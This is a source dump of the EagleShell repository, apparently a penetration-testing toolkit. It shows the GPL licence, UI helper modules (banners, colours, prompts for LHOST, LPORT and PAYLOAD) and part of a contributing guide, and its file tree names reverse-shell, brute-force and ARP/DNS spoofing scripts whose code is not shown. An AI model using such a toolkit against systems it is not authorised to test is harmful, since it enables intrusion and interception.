├── .gitignore ├── LICENSE ├── assets ├── banners.py ├── colors.py ├── designs.py ├── headers.py ├── prefixes.py ├── properties.py └── shortcuts.py ├── docs ├── CONTRIBUTING.md ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md ├── PULL_REQUEST_TEMPLATE.md ├── README.md ├── SECURITY.md └── WIKI.md ├── eagleshell.py ├── modules ├── modules.py ├── scripts │ ├── brute_force │ │ ├── brute_force.py │ │ ├── bruteftp.py │ │ └── brutessh.py │ ├── cryptography │ │ ├── crypt.py │ │ ├── cryptography.py │ │ └── hashing.py │ ├── enumeration │ │ └── enumeration.py │ ├── exploitation │ │ ├── exploitation.py │ │ ├── pgen.py │ │ └── rsgen.py │ ├── miscellaneous │ │ ├── exif.py │ │ └── miscellaneous.py │ ├── network │ │ ├── arpspoof.py │ │ ├── dnspoof.py │ │ ├── machanger.py │ │ ├── network.py │ │ └── packetsniff.py │ ├── privilege_escalation │ │ └── privilege_escalation.py │ ├── scanning │ │ ├── netscan.py │ │ ├── portscan.py │ │ └── scanning.py │ ├── scripts.py │ └── web │ │ ├── imgextract.py │ │ ├── linkextract.py │ │ ├── subscan.py │ │ └── web.py └── settings │ ├── installation │ ├── setup.py │ └── update.py │ ├── other │ └── version.py │ └── settings.py ├── setup.py └── update.py /.gitignore: -------------------------------------------------------------------------------- 1 | __pycache__/ 2 | .idea 3 | *.iml 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License along 307 | with this program; if not, write to the Free Software Foundation, Inc., 308 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. 309 | 310 | Also add information on how to contact you by electronic and paper mail. 311 | 312 | If the program is interactive, make it output a short notice like this 313 | when it starts in an interactive mode: 314 | 315 | Gnomovision version 69, Copyright (C) year name of author 316 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 317 | This is free software, and you are welcome to redistribute it 318 | under certain conditions; type `show c' for details. 319 | 320 | The hypothetical commands `show w' and `show c' should show the appropriate 321 | parts of the General Public License. Of course, the commands you use may 322 | be called something other than `show w' and `show c'; they could even be 323 | mouse-clicks or menu items--whatever suits your program. 324 | 325 | You should also get your employer (if you work as a programmer) or your 326 | school, if any, to sign a "copyright disclaimer" for the program, if 327 | necessary. Here is a sample; alter the names: 328 | 329 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 330 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 331 | 332 | , 1 April 1989 333 | Ty Coon, President of Vice 334 | 335 | This General Public License does not permit incorporating your program into 336 | proprietary programs. If your program is a subroutine library, you may 337 | consider it more useful to permit linking proprietary applications with the 338 | library. If this is what you want to do, use the GNU Lesser General 339 | Public License instead of this License. 340 | -------------------------------------------------------------------------------- /assets/banners.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.properties import version, total_scripts, total_settings 4 | from assets.colors import * 5 | 6 | scripts_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Total] ' + str(total_scripts) + ' Scripts Available\n' 7 | settings_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Settings | [Total] ' + str(total_settings) + ' Settings Available\n' 8 | 9 | scanning_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Scanning\n' 10 | enumeration_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Enumeration\n' 11 | exploitation_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Exploitation\n' 12 | privilege_escalation_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Privilege Escalation\n' 13 | brute_force_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Brute Force\n' 14 | network_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Network\n' 15 | web_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Web\n' 16 | cryptography_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Cryptography\n' 17 | miscellaneous_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Miscellaneous\n' 18 | 19 | netscan_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Scanning | [Script] NetScan\n' 20 | portscan_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Scanning | [Script] PortScan\n' 21 | 22 | rsgen_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Exploitation | [Script] RSGen\n' 23 | pgen_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Exploitation | [Script] PGen\n' 24 | 25 | machanger_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Network | [Script] MaChanger\n' 26 | arpspoof_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Network | [Script] ARPSpoof\n' 27 | packetsniff_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Network | [Script] PacketSniff\n' 28 | 29 | bruteftp_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Brute Force | [Script] BruteFTP\n' 30 | brutessh_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Brute Force | [Script] BruteSSH\n' 31 | 32 | linkextract_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Web | [Script] LinkExtract\n' 33 | imgextract_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Web | [Script] IMGExtract\n' 34 | subscan_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Web | [Script] SubScan\n' 35 | 36 | hashing_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Miscellaneous | [Script] Hashing\n' 37 | exif_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Miscellaneous | [Script] Exif\n' 38 | crypt_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Eagle Scripts | [Option] Miscellaneous | [Script] Crypt\n' 39 | 40 | update_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Settings | [Option] Update | [Script] Update\n' 41 | setup_banner = YELLOW + '\n[Version] ' + version + ' | [Module] Settings | [Option] Setup | [Script] Setup\n' 42 | -------------------------------------------------------------------------------- /assets/colors.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | BLACK = '\u001b[30m' # Black 4 | RED = '\u001b[31m' # Red 5 | GREEN = '\u001b[32m' # Green 6 | YELLOW = '\u001b[33m' # Yellow 7 | BLUE = '\u001b[34m' # Blue 8 | MAGENTA = '\u001b[35m' # Magenta 9 | CYAN = '\u001b[36m' # Cyan 10 | WHITE = '\u001b[37m' # White 11 | BOLD = '\u001b[1m' # Bold 12 | UNDERLINE = '\u001b[4m' # Underline 13 | REVERSED = '\u001b[4m' # Reversed 14 | RESET = '\u001b[0m' # Reset 15 | -------------------------------------------------------------------------------- /assets/designs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.colors import * 4 | 5 | logo = YELLOW + ''' 6 | ____ __ ______ ____ 7 | / __/__ ____ _/ /__ / __/ / ___ / / / 8 | / _// _ `/ _ `/ / -_)\ \/ _ \/ -_) / / 9 | /___/\_,_/\_, /_/\__/___/_//_/\__/_/_/ 10 | /___/ 11 | ''' 12 | 13 | 14 | author = WHITE + '''Created By TRSTN4 15 | --------------------------''' 16 | -------------------------------------------------------------------------------- /assets/headers.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.colors import * 4 | from assets.properties import clear_screen, version 5 | from assets.designs import logo, author 6 | import os 7 | 8 | 9 | def bruteftp_header(): 10 | from assets.banners import bruteftp_banner 11 | os.system(clear_screen) 12 | print(logo) 13 | print(bruteftp_banner) 14 | print(author) 15 | 16 | 17 | def web_header(): 18 | from assets.banners import web_banner 19 | os.system(clear_screen) 20 | print(logo) 21 | print(web_banner) 22 | print(author) 23 | 24 | 25 | def brutessh_header(): 26 | from assets.banners import brutessh_banner 27 | os.system(clear_screen) 28 | print(logo) 29 | print(brutessh_banner) 30 | print(author) 31 | 32 | 33 | def cryptography_header(): 34 | from assets.banners import cryptography_banner 35 | os.system(clear_screen) 36 | print(logo) 37 | print(cryptography_banner) 38 | print(author) 39 | 40 | 41 | def brute_force_header(): 42 | from assets.banners import brute_force_banner 43 | os.system(clear_screen) 44 | print(logo) 45 | print(brute_force_banner) 46 | print(author) 47 | 48 | 49 | def hashing_header(): 50 | from assets.banners import hashing_banner 51 | os.system(clear_screen) 52 | print(logo) 53 | print(hashing_banner) 54 | print(author) 55 | 56 | 57 | def enumeration_header(): 58 | from assets.banners import enumeration_banner 59 | os.system(clear_screen) 60 | print(logo) 61 | print(enumeration_banner) 62 | print(author) 63 | 64 | 65 | def exploitation_header(): 66 | from assets.banners import exploitation_banner 67 | os.system(clear_screen) 68 | print(logo) 69 | print(exploitation_banner) 70 | print(author) 71 | 72 | 73 | def pgen_header(): 74 | from assets.banners import pgen_banner 75 | os.system(clear_screen) 76 | print(logo) 77 | print(pgen_banner) 78 | print(author) 79 | 80 | 81 | def rsgen_header(): 82 | from assets.banners import rsgen_banner 83 | os.system(clear_screen) 84 | print(logo) 85 | print(rsgen_banner) 86 | print(author) 87 | 88 | 89 | def miscellaneous_header(): 90 | from assets.banners import miscellaneous_banner 91 | os.system(clear_screen) 92 | print(logo) 93 | print(miscellaneous_banner) 94 | print(author) 95 | 96 | 97 | def scripts_header(): 98 | from assets.banners import scripts_banner 99 | os.system(clear_screen) 100 | print(logo) 101 | print(scripts_banner) 102 | print(author) 103 | 104 | 105 | def modules_header(): 106 | os.system(clear_screen) 107 | print(logo) 108 | print(YELLOW + '[OFFICIALLY RELEASED] - January 06 2021') 109 | print(WHITE + '\nVersion: ' + version) 110 | print(author) 111 | 112 | 113 | def settings_header(): 114 | from assets.banners import settings_banner 115 | os.system(clear_screen) 116 | print(logo) 117 | print(settings_banner) 118 | print(author) 119 | 120 | 121 | def update_header(): 122 | from assets.banners import update_banner 123 | os.system(clear_screen) 124 | print(logo) 125 | print(update_banner) 126 | print(author) 127 | 128 | 129 | def setup_header(): 130 | from assets.banners import setup_banner 131 | os.system(clear_screen) 132 | print(logo) 133 | print(setup_banner) 134 | print(author) 135 | 136 | 137 | def subscan_header(): 138 | from assets.banners import subscan_banner 139 | os.system(clear_screen) 140 | print(logo) 141 | print(subscan_banner) 142 | print(author) 143 | 144 | 145 | def linkextract_header(): 146 | from assets.banners import linkextract_banner 147 | os.system(clear_screen) 148 | print(logo) 149 | print(linkextract_banner) 150 | print(author) 151 | 152 | 153 | def privilege_escalation_header(): 154 | from assets.banners import privilege_escalation_banner 155 | os.system(clear_screen) 156 | print(logo) 157 | print(privilege_escalation_banner) 158 | print(author) 159 | 160 | 161 | def scanning_header(): 162 | from assets.banners import scanning_banner 163 | os.system(clear_screen) 164 | print(logo) 165 | print(scanning_banner) 166 | print(author) 167 | 168 | 169 | def portscan_header(): 170 | from assets.banners import portscan_banner 171 | os.system(clear_screen) 172 | print(logo) 173 | print(portscan_banner) 174 | print(author) 175 | 176 | 177 | def netscan_header(): 178 | from assets.banners import netscan_banner 179 | os.system(clear_screen) 180 | print(logo) 181 | print(netscan_banner) 182 | print(author) 183 | 184 | 185 | def network_header(): 186 | from assets.banners import netscan_banner 187 | os.system(clear_screen) 188 | print(logo) 189 | print(netscan_banner) 190 | print(author) 191 | 192 | 193 | def arpspoof_header(): 194 | from assets.banners import arpspoof_banner 195 | os.system(clear_screen) 196 | print(logo) 197 | print(arpspoof_banner) 198 | print(author) 199 | 200 | 201 | def machanger_header(): 202 | from assets.banners import machanger_banner 203 | os.system(clear_screen) 204 | print(logo) 205 | print(machanger_banner) 206 | print(author) 207 | 208 | 209 | def packetsniff_header(): 210 | from assets.banners import packetsniff_banner 211 | os.system(clear_screen) 212 | print(logo) 213 | print(packetsniff_banner) 214 | print(author) 215 | 216 | 217 | def imgextract_header(): 218 | from assets.banners import imgextract_banner 219 | os.system(clear_screen) 220 | print(logo) 221 | print(imgextract_banner) 222 | print(author) 223 | -------------------------------------------------------------------------------- /assets/prefixes.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.colors import * 4 | 5 | eagleshell_prefix = YELLOW + 'EagleShell ' + WHITE + '> ' 6 | invalid_input_prefix = RED + '[-] Invalid Input.\n' + WHITE 7 | rhost_prefix = YELLOW + 'RHOST ' + WHITE + '> ' 8 | net_ip_prefix = YELLOW + 'NETWORK IP ' + WHITE + '> ' 9 | net_range_prefix = YELLOW + 'NETWORK RANGE ' + WHITE + '> ' 10 | website_prefix = YELLOW + 'WEBSITE ' + WHITE + '> ' 11 | wordlist_prefix = YELLOW + 'WORDLIST ' + WHITE + '> ' 12 | hashing_prefix = YELLOW + 'HASHING ' + WHITE + '> ' 13 | text_prefix = YELLOW + 'TEXT ' + WHITE + '> ' 14 | path_prefix = YELLOW + 'PATH ' + WHITE + '> ' 15 | interface_prefix = YELLOW + 'INTERFACE ' + WHITE + '> ' 16 | new_mac_prefix = YELLOW + 'NEW MAC ' + WHITE + '> ' 17 | unavailable_interface_prefix = RED + '[+] Unavailable Interface.' + WHITE 18 | unable_to_connect_prefix = RED + '[-] Unable To Connect.' + WHITE 19 | user_prefix = YELLOW + 'USER ' + WHITE + '> ' 20 | rport_prefix = YELLOW + 'RPORT ' + WHITE + '> ' 21 | threads_prefix = YELLOW + 'THREADS ' + WHITE + '> ' 22 | image_prefix = YELLOW + 'IMAGE ' + WHITE + '> ' 23 | url_prefix = YELLOW + 'URL ' + WHITE + '> ' 24 | shell_prefix = YELLOW + 'SHELL ' + WHITE + '> ' 25 | os_prefix = YELLOW + 'OS ' + WHITE + '> ' 26 | payload_prefix = YELLOW + 'PAYLOAD ' + WHITE + '> ' 27 | lhost_prefix = YELLOW + 'LHOST ' + WHITE + '> ' 28 | lport_prefix = YELLOW + 'LPORT ' + WHITE + '> ' 29 | name_prefix = YELLOW + 'NAME ' + WHITE + '> ' 30 | output_prefix = YELLOW + 'OUTPUT ' + WHITE + '> ' 31 | system_prefix = YELLOW + 'SYSTEM ' + WHITE + '> ' 32 | gateway_prefix = YELLOW + 'GATEWAY ' + WHITE + '> ' 33 | done_prefix = YELLOW + 'DONE? ' + WHITE + '> ' 34 | unknown_file_prefix = RED + '[-] Unknown File.\n' + WHITE 35 | -------------------------------------------------------------------------------- /assets/properties.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | total_major_updates = 2 4 | total_modules = 2 5 | total_categories = 9 6 | total_scripts = 16 7 | total_settings = 2 8 | total_content = total_scripts + total_settings 9 | version = str(total_major_updates) + '.' + str(total_modules) + '.' + str(total_categories) + '.' + str(total_content) 10 | 11 | clear_screen = 'clear' 12 | -------------------------------------------------------------------------------- /assets/shortcuts.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | from assets.properties import clear_screen 4 | from assets.colors import * 5 | import os 6 | 7 | 8 | class Exit: 9 | def __init__(self): 10 | print(RED + '\n[-] Exiting EagleShell') 11 | print(RESET) 12 | os.system('sleep 1') 13 | os.system(clear_screen) 14 | exit() 15 | -------------------------------------------------------------------------------- /docs/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Introduction 2 | 3 | First off, thank you for considering contributing to EagleShell. It's people like you that make EagleShell such a great tool. 4 | 5 | Following these guidelines helps to communicate that you respect the time of the developers managing and developing this open source project. In return, they should reciprocate that respect in addressing your issue, assessing changes, and helping you finalize your pull requests. 6 | 7 | Keep an open mind! Improving documentation, bug triaging, or writing tutorials are all examples of helpful contributions that mean less work for you. 8 | 9 | EagleShell is an open source project and we love to receive contributions from our community — you! There are many ways to contribute, from writing scripts, tutorials or blog posts, improving the documentation, submitting bug reports and feature requests or writing code which can be incorporated into EagleShell itself. 10 | 11 | Again, defining this up front means less work for you. If someone ignores your guide and submits something you don’t want, you can simply close it and point to your policy. 12 | 13 | Please, don't use the issue tracker for [support questions](https://github.com/TRSTN4/EagleShell). Check whether the issue fix is already posted somewhere in this repository. If your problem is not strictly related to your fault, try to email EagleShellTool@gmail.com. Searching on the community is also worth considering. 14 | 15 | # Ground rules 16 | 17 | This includes not just how to communicate with others (being respectful, considerate, etc) but also technical responsibilities (importance of testing, project dependencies, etc). Mention and link to your code of conduct, if you have one. 18 | 19 | Responsibilities: 20 | * Ensure compatibility for every change that's accepted. 21 | * Ensure that code that goes into core meets all requirements in this [checklist](https://github.com/TRSTN4/EagleShell/blob/master/docs/PULL_REQUEST_TEMPLATE.md). 22 | * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback. 23 | 24 | # Your first contribution 25 | 26 | Unsure where to begin contributing to EagleShell? You can start by looking through these easy issues, issues which should only require a few lines of code, and a test or two, rather than issues which should be a bit more involved than beginner issues. 27 | 28 | Working on your first Pull Request? You can learn how from this *free* series, [How to Contribute to an Open Source Project on GitHub](https://egghead.io/series/how-to-contribute-to-an-open-source-project-on-github). 29 | 30 | At this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first :) 31 | 32 | If a maintainer asks you to "rebase" your Pull Request, they're saying that a lot of code has changed and that you need to update your branch so it's easier to merge. 33 | 34 | # Getting started 35 | 36 | For something that is bigger than a one or two line fix: 37 | 